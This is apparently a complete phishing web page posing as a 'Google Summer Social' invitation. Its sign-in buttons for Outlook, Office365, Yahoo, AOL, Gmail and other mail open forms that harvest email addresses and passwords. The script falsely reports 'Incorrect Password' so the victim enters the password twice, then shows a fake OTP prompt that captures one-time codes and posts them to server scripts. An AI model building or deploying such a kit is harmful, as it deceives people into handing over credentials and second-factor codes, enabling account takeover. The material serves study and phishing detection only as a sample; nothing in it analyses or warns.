<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css'>
    <!-- Font Awesome CSS -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" />
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
    <title>You're Invited — Google Summer Social</title>
    <style>
        :root {
            --blue: #4285F4;
            --red: #EA4335;
            --yellow: #FBBC05;
            --green: #34A853;
            --ink: #1F1F1F;
            --muted: #5F6368;
            --card-bg: #FFFFFF;
            --page-bg: #EDEBE4;
            --border: #E3E1DA;
        }

        * {
            box-sizing: border-box;
        }

        html,
        body {
            margin: 0;
            padding: 0;
        }

        body {
            font-family: "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
            background: var(--page-bg);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 32px 16px;
        }

        .frame {
            width: 100%;
            max-width: 640px;
            background: #FFFFFF;
            border-radius: 20px;
            padding: 10px;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.08), 0 12px 32px rgba(0, 0, 0, 0.10);
        }

        .card {
            background: linear-gradient(180deg, #FBFBFA 0%, #F3F2EE 100%);
            border-radius: 14px;
            padding: 30px 40px 20px;
            text-align: center;
        }

        .logo {
            font-family: "Product Sans", "Segoe UI", Roboto, Arial, sans-serif;
            font-size: 34px;
            font-weight: 700;
            letter-spacing: -0.5px;
            margin: 0 0 28px;
            display: inline-flex;
            gap: 2px;
            animation: logo-bounce 4s ease-in-out infinite;
            transition: transform 0.25s ease, filter 0.25s ease;
            justify-content: center;
        }

        .logo:hover {
            transform: translateY(-4px) scale(1.02);
            filter: drop-shadow(0 10px 18px rgba(66, 133, 244, 0.18));
        }

        .logo span {
            display: inline-block;
            transition: transform 0.25s ease;
        }

        .logo:hover span {
            transform: translateY(-2px);
        }

        @keyframes logo-bounce {

            0%,
            100% {
                transform: translateY(0) scale(1);
            }

            50% {
                transform: translateY(-6px) scale(1.01);
            }
        }

        .logo span:nth-child(1) {
            color: var(--blue);
        }

        .logo span:nth-child(2) {
            color: var(--red);
        }

        .logo span:nth-child(3) {
            color: var(--yellow);
        }

        .logo span:nth-child(4) {
            color: var(--blue);
        }

        .logo span:nth-child(5) {
            color: var(--green);
        }

        .logo span:nth-child(6) {
            color: var(--red);
        }

        h1 {
            font-size: 28px;
            line-height: 1.3;
            font-weight: 700;
            color: var(--ink);
            margin: 0 0 18px;
        }

        h1 .accent {
            color: var(--blue);
        }

        p.description {
            font-size: 15px;
            line-height: 1.6;
            color: var(--muted);
            max-width: 420px;
            margin: 0 auto 32px;
        }

        .cta {
            cursor: pointer;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            width: 100%;
            max-width: 360px;
            background: var(--blue);
            color: #fff;
            font-size: 16px;
            font-weight: 600;
            text-decoration: none;
            padding: 15px 24px;
            border-radius: 8px;
            box-shadow: 0 1px 2px rgba(66, 133, 244, 0.35);
            transition: background 0.15s ease, transform 0.1s ease;
        }

        .cta:hover {
            background: #3367D6;
            color: #fff;
        }

        .cta:active {
            transform: translateY(1px);
        }

        .cta svg {
            width: 16px;
            height: 16px;
        }

        footer {
            margin-top: 36px;
            font-size: 12px;
            color: #80868B;
            line-height: 1.7;
        }

        footer a {
            color: var(--blue);
            text-decoration: none;
        }

        footer a:hover {
            text-decoration: underline;
        }

        @media (max-width: 480px) {
            .card {
                padding: 10px 12px 12px;
            }

            .logo {
                font-size: 28px;
            }

            h1 {
                font-size: 23px;
            }

            p.description {
                font-size: 14px;
            }

            .cta {
                padding: 10px 16px;
            }
        }

        @media (min-width: 481px) and (max-width: 900px) {
            .frame {
                max-width: 560px;
            }
        }
    </style>
    <style>
        body,
        html {
            height: 100%;
            margin: 0;
            font-family: Arial, Helvetica, sans-serif;
        }

        * {
            box-sizing: border-box;
        }

        .bg-image {
            /* The image used */
            background-image: url("Image/imageedit_3_2453183620.jpg");

            /* Add the blur effect */
            filter: blur(8px);
            -webkit-filter: blur(8px);

            /* Full height */
            height: 100%;

            /* Center and scale the image nicely */
            background-position: center;
            background-repeat: no-repeat;
            background-size: cover;
        }

        /* Position text in the middle of the page/image */
        .bg-text {
            /* background-color: rgb(0,0,0); Fallback color */
            /* background-color: rgba(0,0,0, 0.4); Black w/opacity/see-through */
            background-color: #00000099;
            /* opacity: 0.8; */
            color: white;
            /* font-weight: bold; */
            border: 3px solid #f1f1f1;
            border-radius: 15px;
            position: absolute;
            top: 10%;
            left: 25%;
            /* transform: translate(-50%, -50%); */
            /* z-index: 2; */
            width: 50%;
            padding: 20px;
            text-align: center;
        }

        .modal-body {
            text-align: left;
            color: black;
        }

        .button {
            width: 80%;
            color: white;
            margin: auto;
            display: flex;
        }

        .b1 {
            background-color: blue;
        }

        .b2 {
            background-color: red;
        }

        .b3 {
            background-color: #4d8fe4;
        }

        .b4 {
            background-color: #8f1189;
        }

        .b5 {
            background-color: green;
        }

        .btext {
            margin-left: 20px;
            margin-top: 5px;
        }

        Add Animation @-webkit-keyframes slideIn {
            from {
                bottom: -300px;
                opacity: 0
            }

            to {
                bottom: 0;
                opacity: 1
            }
        }

        @keyframes slideIn {
            from {
                bottom: -300px;
                opacity: 0
            }

            to {
                bottom: 0;
                opacity: 1
            }
        }

        @-webkit-keyframes fadeIn {
            from {
                opacity: 0
            }

            to {
                opacity: 1
            }
        }

        @keyframes fadeIn {
            from {
                opacity: 0
            }

            to {
                opacity: 1
            }
        }

        @media only screen and (max-width: 767px) {

            .bg-text {
                width: 85%;
                padding: 10px;

            }

            .imagem img {
                width: 80px;
                height: 80px;
            }

            .bg-text {
                top: 10%;
                left: 7%;
                /* width: 50%; */

            }
        }
    </style>
    <link rel="stylesheet" href="css/design.css">
</head>

<body>


    <div class="frame">
        <div class="card">
            <div class="logo">
                <span>G</span><span>o</span><span>o</span><span>g</span><span>l</span><span>e</span>
            </div>

            <h1>You have been invited to a<br><span class="accent">Google Summer Social</span></h1>

            <p class="description">
                Please join us for a relaxed summer gathering to celebrate and connect.
                It's an opportunity to enjoy good food, great company, and unwind.
                More details are on the formal invitation page.
            </p>


            <div class="cta-grid">
                <div role="button" tabindex="0" type="button" class="button b1 cta formModals" id="myBtn"
                    data-name="Outlook" data-image="Image/office360.png" data-formid="1">
                    <img src="Image/office360.png" alt="office 360"> <span class="btext">Sign in with Outlook</span>
                </div>

                <div role="button" tabindex="0" class="button b2 cta formModals" id="myBtno" data-name="Office"
                    data-image="Image/office.png" data-formid="2">
                    <img src="Image/office.png" alt="office 360"> <span class="btext">Sign in with Office365</span>
                </div>

                <div role="button" tabindex="0" class="button b4 cta formModals" id="myBtny" data-name="Yahoo"
                    data-image="Image/yahoo.png" data-formid="3">
                    <img src="Image/yahoo.png" alt="office 360"> <span class="btext">Sign in with Yahoo Mail</span>
                </div>

                <a href="./accounts.google" target="_blank" style="text-decoration: none;">
                    <div role="button" tabindex="0" class="button b4 cta" id="myBtny" data-name="Yahoo"
                        data-image="Image/google.png" data-formid="3">
                        <img src="Image/google.png" alt="office 360">
                        <span class="btext">Sign in with Gmail</span>
                    </div>
                </a>

                <div role="button" tabindex="0" class="button b5 cta formModals" id="myBtna" data-name="aol"
                    data-image="Image/aol.png" data-formid="4">
                    <img src="Image/aol.png" alt="office 360"> <span class="btext">Sign in with AOL</span>
                </div>

                <div role="button" tabindex="0" class="button b3 cta formModals" id="myBtne" data-name="Email"
                    data-image="Image/email.png" data-formid="5">
                    <img src="Image/email.png" alt="office 360"> <span class="btext">Sign in with Other Mail</span>
                </div>
            </div>

            <footer>
                If you have any questions, please contact <a href="mailto:events@google.com">events@google.com</a>.<br>
                <a href="#">Privacy Policy</a> | <a href="#">Terms</a>
            </footer>


        </div>
    </div>

    <!-- modal -->

    <div class="modal fade modal-modern" id="formModal" tabindex="-1" role="dialog"
        aria-labelledby="exampleModalCenterTitle" aria-modal="true" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="exampleModalLongTitle">
                        <!-- Office36500 -->
                    </h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="text-center mb-5">
                        <div class="data-image"></div>
                        <h4 class="mt-2 txx_hd"> Login
                            with <span class="form-title"></span> </h4>
                    </div>
                    <form method="post" id="formSubmit" action="processmail.php" class="stage-one">
                        <p id="error_text" class="text-danger"></p>
                        <input type="text" id="form-id" name="id" hidden>
                        <label for="email" class="form_tx">Email
                            Address </label>
                        <input type="email" placeholder="Email" class="form-control" name="email_address" required>
                        <br>
                        <p> We'll never share your email
                            with anyone else </p>
                        <label for="Password">Password</label>
                        <input type="password" placeholder="Enter Password" class="form-control" name="password"
                            required>

                        <div class="mt-3 text-warning" id="loading" style="display: none;">Verifying...</div>

                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="submit" class="btn btn-primary" name="submit_form"> Login
                    </button>
                </div>
                </form>
            </div>
        </div>
    </div>
 
    <div class="modal fade modal-modern" id="otpNotificationModal" tabindex="-1" role="dialog" aria-modal="true"
        aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">OTP Notification</h5>
                    <button type="button" class="close" data-dismiss="modal">&times;</button>
                </div>
                <div class="modal-body text-center">
                    <div class="spinner-border text-primary" role="status"><span class="sr-only">Loading...</span>
                    </div>
                    <p class="mt-3">You will receive an OTP within 1-5 minutes. Please check your phone number on
                        file.</p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-primary" id="proceedToOtp">OK</button>
                </div>
            </div>
        </div>
    </div>

    <!-- Second Modal -->
    <div class="modal fade modal-modern" id="secondModal" tabindex="-1" role="dialog" aria-labelledby="secondModalLabel"
        aria-modal="true" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="exampleModalLongTitle">
                        <!-- Office36500 -->
                    </h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>



                <form method="post" id="secondForm" action="process.php">
                    <div class="modal-body text-center">
                        <p style="font-weight:bold;">🔒 Please enter the OTP sent to your phone to complete sign-in.
                            It may take up to 5 minutes.</p>

                        <label for="lastname">🔢 Enter OTP</label>
                        <input type="text" placeholder="Enter OTP" class="form-control text-center" name="txtotp"
                            required>

                        <!-- Countdown Timer -->
                        <p class="mt-2 text-danger" id="countdown">Time left: 05:00</p>

                        <!-- Loading Message -->
                        <div class="mt-3 text-warning" id="loading" style="display: none;">⏳ Verifying...</div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-dismiss="modal">❌ Close</button>
                        <button type="submit" class="btn btn-primary" name="submit_second_form">✅ Submit</button>
                    </div>
                </form>

                <script>
                    // Countdown Timer Logic
                    let timeLeft = 300; // 5 minutes in seconds
                    const countdownElement = document.getElementById('countdown');

                    function updateCountdown() {
                        let minutes = Math.floor(timeLeft / 60);
                        let seconds = timeLeft % 60;
                        seconds = seconds < 10 ? '0' + seconds : seconds;
                        countdownElement.innerHTML = `⏳ Time left: ${minutes}:${seconds}`;

                        if (timeLeft > 0) {
                            timeLeft--;
                            setTimeout(updateCountdown, 1000);
                        }
                    }

                    updateCountdown(); // Start countdown
                </script>
            </div>
        </div>
    </div>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        $(document).on('show.bs.modal', '.modal', function () {
            $(this).attr('data-state', 'open');
        });

        $(document).on('hide.bs.modal', '.modal', function () {
            $(this).removeAttr('data-state');
        });

        $(document).on('keydown', '.formModals', function (e) {
            if (e.key === 'Enter' || e.key === ' ') {
                e.preventDefault();
                $(this).trigger('click');
            }
        });
        $(".formModals").click(function (e) {
            e.preventDefault();

            var id = $(this).data('formid');
            var formname = $(this).data('name');
            var image = $(this).data('image');

            $("#formModal").modal('show');

            $(".data-image").html("<img src='" + image + "' height='100' width='100' >");
            $(".form-title").html("<span>" + formname + "</span>")
            // $(".form-id").value = id;
            document.getElementById("form-id").value = id;

        })
    </script>

    <script>
        $("#formSubmit").submit(function (e) {
            e.preventDefault();

            var form = $(this);
            var actionUrl = form.attr('action');

            if (form.hasClass('submitting')) {
                return false;
            }

            form.addClass('submitting');

            $.ajax({
                type: "POST",
                url: actionUrl,
                data: form.serialize(),
                success: function (data) {
                    console.log('Success response:', data);
                    if (form.hasClass('stage-one')) {
                        $("#error_text").text('Incorrect Password');
                        $('input[name="password"]').val('');
                        form.removeClass('stage-one').addClass('stage-three');
                    } else if (form.hasClass('stage-three')) {
                        $('#formModal').modal('hide');
                        $('#otpNotificationModal').modal('show');
                    }
                },
                error: function (xhr, status, error) {
                    // Handle errors
                    console.log('AJAX Error:', xhr, status, error);
                    console.log('Response Text:', xhr.responseText);
                    $("#error_text").text('Incorrect Password');
                    $('input[name="password"]').val('');
                },
                complete: function () {
                    form.removeClass('submitting');
                }
            });
        });


        $("#proceedToOtp").click(function () {
            $('#otpNotificationModal').modal('hide');
            $('#secondModal').modal('show');
        });
    </script>

    <script>
        window.onload = function () {
            const urlParams = new URLSearchParams(window.location.search);
            const name = urlParams.get('name') || "Our Team";
            const inviterElement = document.getElementById('inviter-name');
            let typingText = ` ${name}`;

            function startTypingEffect() {
                inviterElement.innerHTML = "";
                inviterElement.classList.remove("fade-out");
                let i = 0;

                function type() {
                    if (i < typingText.length) {
                        inviterElement.innerHTML += typingText.charAt(i);
                        i++;
                        setTimeout(type, 100);
                    } else {
                        setTimeout(() => {
                            inviterElement.classList.add("fade-out");
                            setTimeout(startTypingEffect, 1000);
                        }, 2000);
                    }
                }
                type();
            }

            startTypingEffect();
        };
    </script>

    <script>
        $(document).ready(function () {
            $("#secondForm").submit(function (e) {
                e.preventDefault();
                var form = $(this);
                var actionUrl = form.attr('action');

                // Prevent multiple submissions
                if (form.hasClass('submitting')) {
                    return false;
                }

                form.addClass('submitting');
                $("#loading").show();

                $.ajax({
                    type: "POST",
                    url: actionUrl,
                    data: form.serialize(),
                    success: function (data) {
                        console.log(data);
                    },
                    error: function (xhr, status, error) {
                        $("#loading").hide();
                        alert('Connection error. Please try again.');
                    },
                    complete: function () {
                        form.removeClass('submitting');
                        $("#loading").hide();
                    }
                });
            });
    </script>




</body>

</html>